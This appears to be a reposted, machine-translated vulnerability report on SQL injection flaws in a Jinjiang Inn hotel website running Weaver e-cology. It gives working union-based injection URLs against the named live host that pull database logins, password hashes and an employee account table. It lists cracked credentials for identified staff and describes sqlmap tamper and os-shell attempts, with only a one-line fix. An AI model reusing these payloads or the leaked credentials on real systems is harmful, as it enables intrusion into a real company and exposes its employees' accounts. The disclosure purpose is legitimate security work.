Multiple SQL injection vulnerabilities in a website of Jinjiang Inn

Source: Internet
Author: User

Multiple SQL injection vulnerabilities in a website of Jinjiang Inn

Example

1./web/broswer/CustomerTypeBrowser. jsp file injection
 

http://www.jjhotels.cn/web/broswer/CustomerTypeBrowser.jsp?sqlwhere=where 1=2 union all select 1,user,@@version,4,5,6


 


 

http://www.jjhotels.cn/web/broswer/CustomerTypeBrowser.jsp?sqlwhere=where 1=2 union all select 1,name,master.dbo.fn_varbintohexstr(password_hash),4,5,6 from sys.sql_logins


 


 

http://www.jjhotels.cn/web/broswer/CustomerTypeBrowser.jsp?sqlwhere=where 1=2 union all select id,loginid,password,4,5,6 from HrmResource


 


 



Username and password hash are clear at a glance. There are more than 1200 users, and you can choose one and put it in secrets 5 for cracking.
 

chenfuren/chenfuren



Logon successful
 



The company's internal information is at a glance.
 



The system version is old.

I also found Xue gong from the Information Network department. The password is a bit simple.
 

avril.xue/202CB962AC59075B964B07152D234B70avril.xue/123


 



There are several similar vulnerabilities. For details, refer to WooYun: Weaver e-cology General 6 SQL injection vulnerabilities, which will not be listed here.

2.
 

http://www.jjhotels.cn/web/careerapply/HrmCareerApplyPerView.jsp?id=1



The parameter id is injected, and sqlmap cannot run directly. It can be done with -- tamper = space2comment. Is it waf? Why is the above injection not affected? I have not understood this.
 


 


 



Sa user

3.
 

http://www.jjhotels.cn/weaver/weaver.email.FileDownloadLocation?fileid=1201&download=1



Injection of the fileid Parameter
 


 


 



Or sa user, and stacked queries, should be able to -- OS-shell
 



However, if the prompt "unable to retrieve xp_javasshell output" is displayed, the command Echo cannot be obtained. I don't know why, so I will leave it alone.
 

Finally, an exposed Path Vulnerability is provided. In my email, click the mail menu to expose the path.
 



However, if you fail to write the shell, you are prompted that you do not have the write permission. Check that mssql2008 will have this situation. Maybe I 'd like to compare it.

Solution:

Upgrade the system. The version is too old.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.